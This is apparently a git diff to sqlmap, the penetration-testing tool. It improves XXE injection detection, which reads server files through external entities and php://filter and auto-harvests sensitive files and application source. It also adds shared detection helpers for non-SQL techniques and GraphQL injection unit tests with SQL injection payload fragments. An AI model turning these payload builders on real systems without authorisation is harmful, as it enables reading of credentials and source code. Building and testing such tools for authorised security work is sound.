# add an internal subset before its closing '>' (both may legally coexist). - close = xml.index('>', subsetless.start()) + close = doctype["end"] - 1 return xml[:close] + " [\n" + internalSubset + "\n]" + xml[close:] - doctype = "" % (rootName, internalSubset) + built = "" % (rootName, internalSubset) prolog = re.match(r"\s*<\?xml.*?\?>", xml, flags=re.DOTALL) if prolog: end = prolog.end() - return xml[:end] + "\n" + doctype + xml[end:] - return doctype + "\n" + xml + return xml[:end] + "\n" + built + xml[end:] + return built + "\n" + xml -def _placeRef(xml, snippet, attrs=False): - """Insert `snippet` (an entity reference or an XInclude element) into EVERY leaf - text node - not just the first - so detection does not depend on which field the - application happens to reflect. When `attrs` is set (internal-entity tier only), - also seed existing attribute values, since a general internal entity legally - expands inside an attribute (external entity refs do NOT - never seed attributes - for the external/XInclude tiers or the document becomes ill-formed). Falls back to - injecting just before the root's closing tag when there is no text node at all.""" +def _textNodeCount(xml): + """Number of leaf text nodes `_placeRef` can target (for callers that sweep one location at a + time). Excludes the DOCTYPE, mirroring `_placeRef` (via the lexical `_contentStart`).""" + return len(_TEXTNODE_RE.findall(xml[_contentStart(xml):])) + + +def _sweepLocations(xml): + """Ordered list of leaf-text-node indices for a body-injection tier to try, bounded by + XXE_LOCATION_SWEEP_MAX so a document with many text nodes cannot explode the request count. When + the user pinned an explicit injection marker there is exactly one spot, so no sweep is needed.""" + if _MARKER and _MARKER in xml: + return [0] + return list(xrange(min(max(1, _textNodeCount(xml)), XXE_LOCATION_SWEEP_MAX))) + + +def _placeRef(xml, snippet, attrs=False, index=None): + """Insert `snippet` (an entity reference or an XInclude element) into ONE leaf text node - the + `index`-th - PRESERVING every other value. Replacing every leaf (and, in the internal-entity tier, + every attribute) at once corrupted the whole document: schema validation, XML signatures/checksums, + authentication values, IDs and routing fields were all destroyed, which both causes false negatives + (the app rejects the mutated document, unrelated to entity handling) and can trigger application-side + actions on altered values. An explicit '*'/marker still wins. When `attrs` is set and there is no + text node, seeds ONE attribute value. `index` None (the default) uses the latched `_PLACE_INDEX` - + the location the reflection sweep proved workable - so downstream read tiers reuse it; the sweep + itself passes an explicit `index` 0..N-1 (see `_textNodeCount`) to try each location individually. + `snippet` is placed in exactly one spot per call so the rest of the document stays well-formed and + semantically intact.""" + + if index is None: + index = _PLACE_INDEX if _MARKER and _MARKER in xml: return xml.replace(_MARKER, snippet) # honour the user's explicit injection point - start = re.search(r"\]>", xml).end() if "]>" in xml else 0 + start = _contentStart(xml) # skip the DOCTYPE via the lexical scanner (quote/comment safe) head, tail = xml[:start], xml[start:] - tail, count = _TEXTNODE_RE.subn(lambda _: ">" + snippet + "<", tail) + + matches = list(_TEXTNODE_RE.finditer(tail)) + if matches: + m = matches[index if 0 <= index < len(matches) else 0] + return head + tail[:m.start()] + ">" + snippet + "<" + tail[m.end():] if attrs: - # Seed every attribute value except namespace declarations (xmlns / xmlns:*), - # whose rewriting would break the document. Only touches simple, entity-free - # values (the '[^"\'<>&]*' class) so we never corrupt existing markup. - tail, acount = re.subn(r'''(\s(?!xmlns[:=])[\w.:-]+\s*=\s*)("|')[^"'<>&]*\2''', - lambda m: "%s%s%s%s" % (m.group(1), m.group(2), snippet, m.group(2)), tail) - count += acount - if count: - return head + tail + # a general internal entity legally expands inside an attribute value; seed ONE attribute + # (never xmlns) when the document has no text node. External-entity/XInclude tiers must not + # request this (an external ref in an attribute is ill-formed). + am = re.search(r'''(\s(?!xmlns[:=])[\w.:-]+\s*=\s*)("|')[^"'<>&]*\2''', tail) + if am: + return head + tail[:am.start()] + "%s%s%s%s" % (am.group(1), am.group(2), snippet, am.group(2)) + tail[am.end():] rootName = _rootName(xml) if rootName: @@ -229,11 +335,11 @@ def _echoed(page): return False -def _report(title, payload): +def _report(title, payload, vulnType="XXE injection"): if conf.beep: beep() place = conf.method or HTTPMETHOD.POST - conf.dumper.singleString("---\nParameter: XML body (%s)\n Type: XXE injection\n Title: %s\n Payload: %s\n---" % (place, title, payload)) + conf.dumper.singleString("---\nParameter: XML body (%s)\n Type: %s\n Title: %s\n Payload: %s\n---" % (place, vulnType, title, payload)) def _saveFileRead(remoteFile, content): @@ -349,15 +455,16 @@ def _harvestSource(xml, rootName, harvested): return result -def _tryInternal(xml, rootName, baseline): +def _tryInternal(xml, rootName, baseline, index=None): """T2 in-band: an internal general entity expands to the sentinel and is reflected. Guarded by a negative control (sentinel absent from baseline) and a raw-echo guard (the literal '&ent;' must NOT survive - that would mean the - app merely mirrors the body without parsing entities).""" + app merely mirrors the body without parsing entities). `index` selects the leaf + text node to inject into (the sweep in `xxeScan` tries each in turn).""" ent = randomStr(length=8, lowercase=True) subset = '' % (ent, SENTINEL) - payload = _placeRef(_buildDoctype(xml, rootName, subset), "&%s;" % ent, attrs=True) + payload = _placeRef(_buildDoctype(xml, rootName, subset), "&%s;" % ent, attrs=True, index=index) page = _send(payload) if SENTINEL in page and ("&%s;" % ent) not in page and not _echoed(page) and SENTINEL not in baseline: @@ -378,35 +485,83 @@ def _confirmRead(page, pattern, baseline): return None -def _tryInbandFileRead(xml, rootName, fileName): - """Read an arbitrary file IN-BAND on a reflective target: place the external - entity between two random markers so the exact file content can be sliced out - of the response regardless of surrounding template. Raw file:// works for text - files; php://filter base64 (PHP) carries files with XML-special bytes. Returns - (content, payload) or (None, None).""" +def _normalizeEscaping(text): + """Bounded, non-resolving decode of the common reflection encodings (HTML entities, percent- + encoding, JS \\uXXXX / escaped slash) so an ESCAPED entity reference (&e;, &e;, &e;, + %26e%3B, \\u0026e;) is unmasked and can be recognised as reflection rather than file content.""" + out = getUnicode(text) + for _ in range(3): # a few rounds catch double-encoding; capped + prev = out + try: + out = htmlUnescape(out) + except Exception: + pass + try: + out = _urllib.parse.unquote(out) + except Exception: + pass + out = out.replace("\\u0026", "&").replace("\\u003b", ";").replace("\\/", "/") + if out == prev: + break + return out + +def _readBetweenMarkers(xml, rootName, systemId, isB64, m1, m2): + """Read `systemId` via an external entity placed between markers `m1`/`m2`; slice, reject a + reflected (un-expanded) entity in any encoding, and base64-decode when requested. Returns + (content, payload) with content=None when nothing usable came back.""" from lib.core.convert import decodeBase64 + ent = randomStr(8, lowercase=True) + subset = '' % (ent, systemId) + payload = _placeRef(_buildDoctype(xml, rootName, subset), "%s&%s;%s" % (m1, ent, m2)) + page = getUnicode(_send(payload)) + match = re.search(re.escape(m1) + r"(.*?)" + re.escape(m2), page, re.DOTALL) + if not match: + return None, payload + data = match.group(1) + # a reflected (not expanded) entity in ANY encoding: the random entity NAME survives de-escaping -> + # the parser echoed the reference, it did not resolve the external entity -> not file content + if not data.strip() or ent in _normalizeEscaping(data): + return None, payload + if isB64: + try: + data = getText(decodeBase64(data.strip())) # strict base64 also validates real bytes + except Exception: + return None, payload + if not data or not data.strip() or ent in _normalizeEscaping(data): + return None, payload + return (data if (data and data.strip()) else None), payload + + +def _tryInbandFileRead(xml, rootName, fileName): + """Read an arbitrary file IN-BAND on a reflective target. The strict php://filter base64 channel is + PREFERRED (self-validating: only real bytes decode). The raw file:// channel is guarded by a MATCHED + CONTROL - a read of a random NONEXISTENT path with identical markers: a gateway/sanitizer that + substitutes a fixed placeholder (e.g. '[external entity disabled]', an error string) returns the + SAME text regardless of path, so if the requested-path read is materially identical to the + nonexistent-path read it is NOT genuine content and is rejected. Returns (content, payload) or + (None, None).""" m1, m2 = randomStr(8, lowercase=True), randomStr(8, lowercase=True) - for systemId, isB64 in ((_toSystemId(fileName), False), - ("php://filter/convert.base64-encode/resource=%s" % _toResource(fileName), True)): - ent = randomStr(8, lowercase=True) - subset = '' % (ent, systemId) - payload = _placeRef(_buildDoctype(xml, rootName, subset), "%s&%s;%s" % (m1, ent, m2)) - page = getUnicode(_send(payload)) - match = re.search(re.escape(m1) + r"(.*?)" + re.escape(m2), page, re.DOTALL) - if not match: - continue - data = match.group(1) - if not data.strip() or ("&%s;" % ent) in data: # empty read or un-expanded echo - continue - if isB64: - try: - data = getText(decodeBase64(data.strip())) - except Exception: - continue - if data and data.strip(): - return data, payload + + # (1) preferred: strict base64 (PHP) - decoding proves the bytes are real, no control needed + data, payload = _readBetweenMarkers(xml, rootName, + "php://filter/convert.base64-encode/resource=%s" % _toResource(fileName), True, m1, m2) + if data: + return data, payload + + # (2) raw file:// with a nonexistent-path differential control + data, payload = _readBetweenMarkers(xml, rootName, _toSystemId(fileName), False, m1, m2) + if data: + bogus = _toSystemId("/%s/%s" % (randomStr(10, lowercase=True), randomStr(12, lowercase=True))) + control, _ = _readBetweenMarkers(xml, rootName, bogus, False, m1, m2) + if control is not None and _ratio(control, data) >= UPPER_RATIO_BOUND: + # a nonexistent path returned the same/similar text -> a path-independent placeholder, not + # the requested file's contents + logger.debug("XXE raw read of '%s' matches a nonexistent-path control; rejecting placeholder" % fileName) + return None, None + return data, payload + return None, None @@ -541,13 +696,14 @@ def _extract(page, isB64): return None, None -def _tryXInclude(xml, rootName, baseline): +def _tryXInclude(xml, rootName, baseline, index=None): """T4 fallback when DOCTYPE/entities are unavailable: XInclude a benign file as - text. Confirmed when the file content appears in the response (baseline-guarded).""" + text. Confirmed when the file content appears in the response (baseline-guarded). + `index` selects the leaf text node to inject the into.""" for systemId, pattern in XXE_IMPACT_FILES: snippet = '' % systemId - payload = _placeRef(xml, snippet) + payload = _placeRef(xml, snippet, index=index) confirmed = _confirmRead(_send(payload), pattern, baseline) if confirmed: return payload, systemId, confirmed @@ -737,9 +893,10 @@ def _tryOob(xml, rootName): def xxeScan(): - global SENTINEL, _OOB_CONSENT + global SENTINEL, _OOB_CONSENT, _PLACE_INDEX SENTINEL = randomStr(length=12, lowercase=True) _OOB_CONSENT = None + _PLACE_INDEX = 0 debugMsg = "'--xxe' is self-contained: it detects XML External Entity injection " debugMsg += "in the request body and, once confirmed, automatically harvests high-value " @@ -769,7 +926,14 @@ def xxeScan(): # then emit a SINGLE report block with the strongest confirmed vector and its real # payload (one report per finding, as with the other non-SQL engines). The internal # expansion is only reported on its own when no external-entity read is reachable. - payload, page = _tryInternal(xml, rootName, baseline) + payload = page = None + for _locIndex in _sweepLocations(xml): + payload, page = _tryInternal(xml, rootName, baseline, index=_locIndex) + if payload: + _PLACE_INDEX = _locIndex # latch the reflecting location for every downstream read tier + if _locIndex: + logger.debug("in-band reflection confirmed at leaf text-node location #%d" % _locIndex) + break if payload: expansionSeen = True logger.info("the XML body processes DTD/internal entities (in-band reflection confirmed)") @@ -782,15 +946,16 @@ def xxeScan(): _report("In-band file read ('%s')" % conf.fileRead, readPayload) _dumpFileRead(conf.fileRead, content) else: - # No targeted '--file-read': proactively harvest a curated set of high-value - # files (data stays in the response, no third party) - the XXE analogue of - # the automatic dumping the other non-SQL engines do once confirmed. + # No targeted '--file-read': AUTO-HARVEST a curated set of high-value files (the data + # stays in the response, no third party). `--xxe` is an auxiliary, self-contained switch + # - users generally don't know which file to request, so once an in-band read primitive + # is confirmed we harvest by default (the XXE analogue of the other non-SQL engines' + # automatic dumping). A specific target still overrides via '--file-read '. harvested = _harvestFiles(xml, rootName) if harvested: found = True firstPath, _, firstPayload = harvested[0] - # follow-up: server-side application source disclosure (php://filter) - harvested += _harvestSource(xml, rootName, harvested) + harvested += _harvestSource(xml, rootName, harvested) # server-side app source (php://filter) logger.info("in-band XXE file-read impact confirmed; harvested %d file(s)" % len(harvested)) _report("In-band file read (auto-harvest, e.g. '%s')" % firstPath, firstPayload) saved = [] @@ -804,9 +969,8 @@ def xxeScan(): if saved: conf.dumper.rFile(saved) else: - # Harvest read nothing (content relocated in the response, or only benign - # host-identity is exposed): fall back to the pattern-based impact proof - # so file-read impact is still confirmed. + # harvest read nothing (content relocated, or only benign host-identity exposed): + # fall back to the pattern-based impact proof so file-read impact is still confirmed systemId, readPayload = _tryExternalFile(xml, rootName, baseline) if not systemId: readPayload = _tryPhpFilter(xml, rootName, baseline) @@ -817,9 +981,12 @@ def xxeScan(): _report("In-band file-read impact (external entity '%s')" % systemId, readPayload) if not found: - # external entities are disabled (only internal expansion is reachable): - # report that weaker-but-real finding with its actual payload - _report("In-band DTD/internal entity expansion", payload) + # Only INTERNAL general-entity expansion is reachable - external retrieval / local file + # access / XInclude / OOB were NOT proven. That is a parser-configuration weakness, NOT a + # confirmed XXE (which requires external resolution). Report it as its own, weaker finding + # so it is not conflated with a true external-entity XXE. + _report("DTD/internal general entity expansion enabled (external entity access NOT confirmed)", + payload, vulnType="XML parser configuration") # T3: error-based (works where entities are not reflected but errors leak). A # redundant detection channel once in-band reflection was already seen, so it is @@ -853,13 +1020,16 @@ def xxeScan(): _report("Error-based in-band file read ('%s')" % fileName, "" % fileName) _dumpFileRead(fileName, content) - # T4: XInclude fallback (no DOCTYPE/entity control needed) + # T4: XInclude fallback (no DOCTYPE/entity control needed). Reflection never latched a location + # here, so sweep the leaf text nodes (a schema-rejected or non-parsed first leaf otherwise hides it). if not found: - payload, systemId, snippet = _tryXInclude(xml, rootName, baseline) - if payload: - found = True - logger.info("the XML body is vulnerable to XInclude file read ('%s'): '%s'" % (systemId, snippet)) - _report("XInclude file read ('%s')" % systemId, payload) + for _locIndex in _sweepLocations(xml): + payload, systemId, snippet = _tryXInclude(xml, rootName, baseline, index=_locIndex) + if payload: + found = True + logger.info("the XML body is vulnerable to XInclude file read ('%s'): '%s'" % (systemId, snippet)) + _report("XInclude file read ('%s')" % systemId, payload) + break # T5: WAF-evasion fallbacks (UTF-16 re-encoding, PUBLIC-for-SYSTEM). The UTF-16 # variant re-detects internal-entity reflection, so it is redundant (and mislabels diff --git a/lib/utils/nonsql.py b/lib/utils/nonsql.py new file mode 100644 index 00000000000..23e38d3638b --- /dev/null +++ b/lib/utils/nonsql.py @@ -0,0 +1,148 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Shared detection primitives for the non-SQL injection techniques (--nosql, --xpath, --ldap, --hql, +--ssti, --graphql, --xxe). Each of those engines historically carried its own copy of the same +response-comparison, error/blocked-status filtering, blind-bit classification and user-oracle logic; +this module is the single home for that shared machinery so the behavior is uniform and reviewable +in one place rather than drifting across six files. +""" + +import difflib +import re + +from lib.core.data import conf +from lib.core.settings import UPPER_RATIO_BOUND +from lib.parse.html import htmlParser + +# Minimum similarity margin by which a blind-extraction response must lean toward the confirmed TRUE +# model over the FALSE model before a bit is accepted as true (else ambiguous -> false). Deliberately +# generous: a small (e.g. 5%) margin lets a noisy page fabricate values one character at a time. +EXTRACT_MATCH_MARGIN = 0.2 + +# HTTP statuses that mean the response is BLOCKED (WAF / rate-limit); together with 5xx these must +# never be fed to a boolean oracle as if they were application content. +BLOCKED_HTTP_CODES = frozenset((403, 429)) + +# generic SQL/DBMS error marker (mirrors lib/parse/html.py's own generic check), used alongside the +# DBMS-specific errors.xml signatures that htmlParser() recognizes +_SQL_ERROR_REGEX = re.compile(r"(?i)SQL (warning|error|syntax)") + + +def ratio(first, second): + """Content-similarity ratio shared by every non-SQL detector (difflib quick_ratio over the two + response bodies) - one implementation instead of six identical copies.""" + return difflib.SequenceMatcher(None, first or "", second or "").quick_ratio() + + +def blockedStatus(code): + """True when an HTTP status means the response is blocked/errored (a 5xx, or a WAF/rate-limit + 403/429) and so is not a usable oracle sample. `_send()` implementations return None for these + (and for transport exceptions) so the boolean routines, which reject None, can never decide on + a non-answer.""" + return bool(code) and (code >= 500 or code in BLOCKED_HTTP_CODES) + + +def sqlErrorPresent(page): + """True when the response carries a recognized SQL/DBMS error - either a DBMS-specific signature + from sqlmap's errors.xml (via htmlParser) or the generic 'SQL warning/error/syntax' marker. The + non-SQL detectors treat such a page as NOT a valid boolean template, so a payload that merely + trips a back-end SQL syntax error cannot fake a true/false divergence and get a plainly SQL- + injectable parameter mis-reported as NoSQL / XPath / LDAP / HQL.""" + page = page or "" + return bool(htmlParser(page)) or bool(_SQL_ERROR_REGEX.search(page)) + + +# Visible placeholder for a single recovered cell/attribute whose extraction was INCONCLUSIVE (the +# oracle stayed ambiguous after retries). Rendered in dumps in place of the value so a failed cell is +# never silently shown as a genuine empty string - `None` from an extractor means "unknown", `""` means +# "really empty", and they must stay distinguishable in the output. +INCONCLUSIVE_MARK = "" + + +class InconclusiveError(Exception): + """Raised by resolveBit(abort=True) when a bit stays INCONCLUSIVE after retries. Per-value + extractors catch it to ABORT the current value (return what was recovered so far, marked + incomplete) instead of substituting a semantic False - which would corrupt a length, pick the + wrong half of a bisection, or truncate enumeration.""" + + +class Decision(object): + """Tri(+)-state blind-inference outcome. INCONCLUSIVE is deliberately DISTINCT from FALSE: an + ambiguous comparison (equally close to both models, close to neither, or a transport/blocked + anomaly) must be retried/aborted, NOT silently read as a semantic false - which would shorten a + value, pick the wrong half of a bisection or truncate enumeration.""" + TRUE = "TRUE" + FALSE = "FALSE" + INCONCLUSIVE = "INCONCLUSIVE" + + +def decide(page, trueModel, falseModel, margin=EXTRACT_MATCH_MARGIN): + """Classify a blind-inference response against the two calibrated models, returning a Decision. + TRUE when it resembles the confirmed TRUE model (identical, or clearly closer to it than to the + FALSE model by `margin`); FALSE when it resembles the FALSE model; INCONCLUSIVE when it leans to + neither (so the caller can retry or abort rather than guess).""" + if page is None: + return Decision.INCONCLUSIVE + simTrue, simFalse = ratio(trueModel, page), ratio(falseModel, page) + if simTrue >= UPPER_RATIO_BOUND and simTrue >= simFalse: + return Decision.TRUE + if simFalse >= UPPER_RATIO_BOUND and simFalse >= simTrue: + return Decision.FALSE + if (simTrue - simFalse) >= margin: + return Decision.TRUE + if (simFalse - simTrue) >= margin: + return Decision.FALSE + return Decision.INCONCLUSIVE + + +def resolveBit(page, trueModel, falseModel, resend, retries=2, margin=EXTRACT_MATCH_MARGIN, abort=True): + """Resolve one blind bit to True/False. On an INCONCLUSIVE first read, RE-SEND (fresh, cache- + bypassing) up to `retries` times to ride out transient jitter before deciding. `resend` is a + 0-arg callable returning a fresh page (or None on error/block). If a bit stays INCONCLUSIVE after + the retries: raise InconclusiveError when `abort` (the caller aborts the CURRENT VALUE rather than + corrupt it), else return False.""" + d = decide(page, trueModel, falseModel, margin) + tries = 0 + while d is Decision.INCONCLUSIVE and tries < retries: + page = resend() + if page is None: + break + d = decide(page, trueModel, falseModel, margin) + tries += 1 + if d is Decision.INCONCLUSIVE and abort: + raise InconclusiveError() + return d is Decision.TRUE + + +def leansTrue(page, trueModel, falseModel, margin=EXTRACT_MATCH_MARGIN): + """Boolean shorthand for `decide(...) is Decision.TRUE` (kept for callers that don't retry). + A page indistinguishable from the FALSE model, or ambiguous, is NOT true - so a dynamic token, a + changed error page, a WAF/rate-limit body or a transient exception can never fabricate a bit.""" + return decide(page, trueModel, falseModel, margin) is Decision.TRUE + + +def userOracleActive(): + """True when the user supplied an explicit true/false response signal (--string / --not-string / + --regexp) that the non-SQL techniques should honor instead of relying on raw page similarity.""" + return bool(getattr(conf, "string", None) or getattr(conf, "notString", None) or getattr(conf, "regexp", None)) + + +def userDecision(page): + """Classify a response with the user's explicit oracle (--string / --not-string / --regexp), + returning True/False, or None when no override is set (caller falls back to content comparison). + Page-only: HTTP-code overrides (--code) stay per-engine, where the status line is available. + + This routes the non-SQL boolean detectors through sqlmap's documented detection overrides - the + same knobs the SQL engine honors - rather than discarding them for a fixed similarity ratio.""" + page = page or "" + if getattr(conf, "string", None): + return conf.string in page + if getattr(conf, "notString", None): + return conf.notString not in page + if getattr(conf, "regexp", None): + return re.search(conf.regexp, page) is not None + return None diff --git a/tests/test_graphql.py b/tests/test_graphql.py index 5564393a602..057b6d7b6f0 100644 --- a/tests/test_graphql.py +++ b/tests/test_graphql.py @@ -264,15 +264,63 @@ def tearDown(self): def test_boolean_detected(self): slot = _slot("query", "Query", "user", "username", "string") - oracleType, template = gi._detectBoolean(slot, "http://test/graphql") + oracleType, template, _win = gi._detectBoolean(slot, "http://test/graphql") self.assertIsNotNone(oracleType) self.assertIn("boolean-based", oracleType) def test_numeric_skipped(self): slot = _slot("query", "Query", "byId", "id", "numeric") - oracleType, template = gi._detectBoolean(slot, "http://test/graphql") + oracleType, template, _win = gi._detectBoolean(slot, "http://test/graphql") self.assertIsNone(oracleType) + def test_graphql_two_true_transport_failures_do_not_confirm(self): + # the TRUE query fails transport (-> None), the FALSE succeeds: two None trues must NOT be + # read as a reproducible page that "differs" from false (the classic fabricated confirmation) + def fakeSend(endpoint, query, variables=None): + if "'1'='1" in query: + return None, 0 # transport failure on the true payload + return NOMATCH, 200 + gi._gqlSend = fakeSend + slot = _slot("query", "Query", "user", "username", "string") + oracleType, _, _win = gi._detectBoolean(slot, "http://test/graphql") + self.assertIsNone(oracleType) + + def test_graphql_false_page_is_replayed(self): + # a FALSE page that does not reproduce (jitter) must not establish an oracle + state = {"n": 0} + def fakeSend(endpoint, query, variables=None): + if "'1'='1" in query: + return MATCH, 200 + state["n"] += 1 + if state["n"] % 2: # false response is unstable (jitter) + return '{"data":{"user":{"id":1,"name":"alpha"}}}', 200 + return '{"data":{"user":{"totally":"different","shape":"here","x":12345,"y":67890}}}', 200 + gi._gqlSend = fakeSend + slot = _slot("query", "Query", "user", "username", "string") + oracleType, _, _win = gi._detectBoolean(slot, "http://test/graphql") + self.assertIsNone(oracleType) + + def test_graphql_resolver_error_false_is_not_a_boolean_oracle(self): + # P0-3: the FALSE payload trips a stable HTTP-200 resolver error ({data:null, errors:[...]}), + # which yields the same {"user":null} observation as a genuine false. That is NOT a boolean + # oracle (it belongs to error-based detection) - _detectBoolean must reject the errored pair. + def fakeSend(endpoint, query, variables=None): + if "'1'='1" in query: # true -> real rows + return MATCH, 200 + return '{"data":{"user":null},"errors":[{"message":"resolver failed","path":["user"]}]}', 200 + gi._gqlSend = fakeSend + slot = _slot("query", "Query", "user", "username", "string") + oracleType, _, _win = gi._detectBoolean(slot, "http://test/graphql") + self.assertIsNone(oracleType) + + def test_has_errors_and_alias_errored(self): + self.assertTrue(gi._hasErrors('{"data":{"user":null},"errors":[{"message":"x"}]}')) + self.assertFalse(gi._hasErrors('{"data":{"user":null}}')) + # an alias with an error path, or an absent alias, is errored/unknown + self.assertTrue(gi._aliasErrored('{"data":{"a0":null},"errors":[{"message":"e","path":["a0"]}]}', "a0")) + self.assertTrue(gi._aliasErrored('{"data":{"a1":true}}', "a0")) # a0 absent + self.assertFalse(gi._aliasErrored('{"data":{"a0":true}}', "a0")) + class TestGraphqlErrorDetection(unittest.TestCase): """Error-based detection via mock oracle""" @@ -294,9 +342,30 @@ def tearDown(self): def test_error_detected(self): slot = _slot("query", "Query", "user", "username", "string") - oracleType, detail = gi._detectError(slot, "http://test/graphql") + oracleType, detail, _win = gi._detectError(slot, "http://test/graphql") self.assertEqual(oracleType, "error-based") + def test_report_shows_winning_error_payload_not_boolean(self): + # boolean payloads do NOT diverge (both -> NOMATCH) so boolean detection fails; only the error + # payloads trip a DB error. The reported reproducer must be the WINNING error payload, never the + # generic ' OR '1'='1 boolean payload. + def fakeSend(endpoint, query, variables=None): + if "'1'='" in query: # both boolean payloads ('1'='1 / '1'='2) -> identical, no oracle + return NOMATCH, 200 + if "'" in query: # error payloads (', '', '") -> DB error + return DB_ERROR, 500 + return NOMATCH, 200 + gi._gqlSend = fakeSend + reports = [] + gi.conf.dumper = type("D", (), {"singleString": lambda self, m: reports.append(m)})() + gi.conf.beep = False + slot = _slot("query", "Query", "user", "username", "string") + oracleType, _oracle, _detail = gi._testSlot(slot, "http://test/graphql") + self.assertEqual(oracleType, "error-based") + report = next(r for r in reports if "Payload:" in r) + self.assertNotIn("'1'='1", report) # not the boolean payload + self.assertIn("error-based", report) + class TestGraphqlParseRows(unittest.TestCase): """JSON data row parsing for in-band dumps""" @@ -443,8 +512,23 @@ def test_sqlite_row_handles_nulls(self): d = gi.DIALECTS["SQLite"] sql = d.row(["name", "surname"], "users", 3) self.assertIn("LIMIT 1 OFFSET 3", sql) # per-row, not a whole-table GROUP_CONCAT - self.assertIn("COALESCE(CAST(name AS TEXT),'NULL')", sql) - self.assertIn("FROM users", sql) + self.assertIn('COALESCE(CAST("name" AS TEXT),\'NULL\')', sql) # column identifier quoted + self.assertIn('FROM "users"', sql) # table identifier quoted + + def test_row_quotes_reserved_and_mixedcase_identifiers(self): + # a reserved word / mixed-case / spaced / quote-bearing name must be quoted, not interpolated raw + d = gi.DIALECTS["PostgreSQL"] + sql = d.row(["order", 'we"ird'], "myTable", 0) + self.assertIn('CAST("order" AS TEXT)', sql) + self.assertIn('CAST("we""ird" AS TEXT)', sql) # embedded quote doubled + d2 = gi.DIALECTS["Microsoft SQL Server"] + self.assertIn("[order]", d2.row(["order"], "dbo.t", 0)) + + def test_pgsql_schema_qualified_from(self): + # a "schema.table" catalog name qualifies AND quotes both parts for the dump FROM + d = gi.DIALECTS["PostgreSQL"] + self.assertIn('FROM "secret"."users"', d.row(["id"], "secret.users", 0)) + self.assertEqual(d.fromIdent("secret.users"), '"secret"."users"') def test_mysql_uses_sleep_delay(self): d = gi.DIALECTS["MySQL"] @@ -529,7 +613,7 @@ def _mockOracle(target): tableFrom=None, tableCol=None, columnFrom=None, columnCol=None, paginate=None, length=lambda expr: "LEN(%s)" % expr, ordinal=lambda expr, pos: "ORD(%s,%d)" % (expr, pos), - row=None) + row=None, fromIdent=lambda table: table) def _value(cond): pos = None @@ -579,6 +663,43 @@ def test_batched_empty(self): dialect, truth, truthBatch = _mockOracle("") self.assertEqual(gi._inferExprBatched(truthBatch, truth, dialect, "EXPR"), "") + def test_inconclusive_truth_aborts_value_not_fabricates(self): + # a persistently-inconclusive oracle must abort the value (None), never coerce to false bits + dialect = gi.DIALECTS["SQLite"] + + def truth(cond): + raise gi.InconclusiveError() + + def truthBatch(conds): + raise gi.InconclusiveError() + + self.assertIsNone(gi._inferExpr(truth, dialect, "EXPR")) + self.assertIsNone(gi._inferExprBatched(truthBatch, truth, dialect, "EXPR")) + + def test_make_oracle_batch_transport_failure_raises_not_false(self): + # a FAILED batch request must raise InconclusiveError, NOT decay into a list of False bits + # (which would silently corrupt every value extracted through the batch path) + slot = _slot("query", "Query", "user", "username", "string") + MATCHV = '{"data":{"user":{"id":1,"name":"luther"}}}' + NOMATCHV = '{"data":{"user":null}}' + saved = gi._gqlSend + try: + def fakeSend(endpoint, query, variables=None): + if "1=1" in query: + return MATCHV, 200 + if "1=2" in query: + return NOMATCHV, 200 + return MATCHV, 200 + gi._gqlSend = fakeSend + truth, truthBatch = gi._makeOracle(slot, "http://test/graphql") + self.assertIsNotNone(truth) + + # now make the batch endpoint fail transport -> must raise, not return [False, ...] + gi._gqlSend = lambda endpoint, query, variables=None: (None, 0) + self.assertRaises(gi.InconclusiveError, truthBatch, ["1=1", "1=2"]) + finally: + gi._gqlSend = saved + class TestGraphqlDumpTable(unittest.TestCase): """Whole-table dump: column list + COUNT(*) + one row-scalar per ordinal offset""" @@ -591,7 +712,7 @@ def test_dump_table(self): "(SELECT COUNT(*) %s)" % colFrom: "2", "(SELECT %s %s %s)" % (d.columnCol, colFrom, d.paginate(d.columnCol, 0)): "id", "(SELECT %s %s %s)" % (d.columnCol, colFrom, d.paginate(d.columnCol, 1)): "name", - "(SELECT COUNT(*) FROM users)": "2", + "(SELECT COUNT(*) FROM %s)" % d.fromIdent("users"): "2", d.row(["id", "name"], "users", 0): "1~~~null", d.row(["id", "name"], "users", 1): "2~~~luther", } @@ -669,6 +790,70 @@ def test_nested_selection_set(self): self.assertEqual(sels[0][1], "login") +class TestGraphqlMutationPlanner(unittest.TestCase): + """Mutation slots are auto-tested (read-like ranked first), impact-classified, dry-run preferred.""" + + def test_impact_classification(self): + self.assertEqual(gi._mutationImpact("login"), "read-like") + self.assertEqual(gi._mutationImpact("verifyToken"), "read-like") + self.assertEqual(gi._mutationImpact("createUser"), "write-like") + self.assertEqual(gi._mutationImpact("deletePost"), "write-like") + self.assertEqual(gi._mutationImpact("frobnicate"), "unknown") + + def test_mixed_names_are_write_like_not_read_like(self): + # a read-like substring must NOT mask a write token in the same (camelCase/snake) name + for name in ("updateUserPreview", "previewDeleteUser", "getAndDeleteUser", "createSession", + "validateAndRemoveUser", "preview_delete_user", "get-and-delete-user"): + self.assertEqual(gi._mutationImpact(name), "write-like", name) + # genuine read-like names stay read-like + for name in ("login", "verifyToken", "previewReport", "checkSession", "fetchToken"): + self.assertEqual(gi._mutationImpact(name), "read-like", name) + + def test_ranking_puts_read_like_first_write_like_last(self): + slots = [_slot("mutation", "Mutation", "deleteUser", "id"), + _slot("mutation", "Mutation", "frobnicate", "x"), + _slot("mutation", "Mutation", "login", "username")] + ranked = [s.fieldName for s in gi._rankMutations(slots)] + self.assertEqual(ranked[0], "login") # read-like first + self.assertEqual(ranked[-1], "deleteUser") # write-like last + + def test_write_like_mutation_not_auto_enumerated(self): + # a write-like mutation is NOT eligible as the bulk-enumeration oracle (non-persistence + # unverified), whereas a read-like one is. This is the gate graphqlScan applies. + createSlot = _slot("mutation", "Mutation", "createUser", "name") + loginSlot = _slot("mutation", "Mutation", "login", "username") + self.assertFalse(gi._mutationImpact("createUser") == "read-like" or gi._dryRunVerified(createSlot, "http://x")) + self.assertTrue(gi._mutationImpact("login") == "read-like" or gi._dryRunVerified(loginSlot, "http://x")) + self.assertFalse(gi._dryRunVerified(createSlot, "http://x")) # no automatic non-persistence proof + + def test_mutation_oracle_is_never_batched(self): + # a mutation must NOT return truthBatch: aliased batching executes the write resolver once per + # alias (many writes per request). A boolean-diverging mutation slot yields (truth, None). + MATCHV = '{"data":{"createUser":{"id":1,"name":"luther"}}}' + NOMATCHV = '{"data":{"createUser":null}}' + saved = gi._gqlSend + try: + gi._gqlSend = lambda endpoint, query, variables=None: (MATCHV if "1=1" in query else NOMATCHV, 200) + slot = _slot("mutation", "Mutation", "createUser", "name", 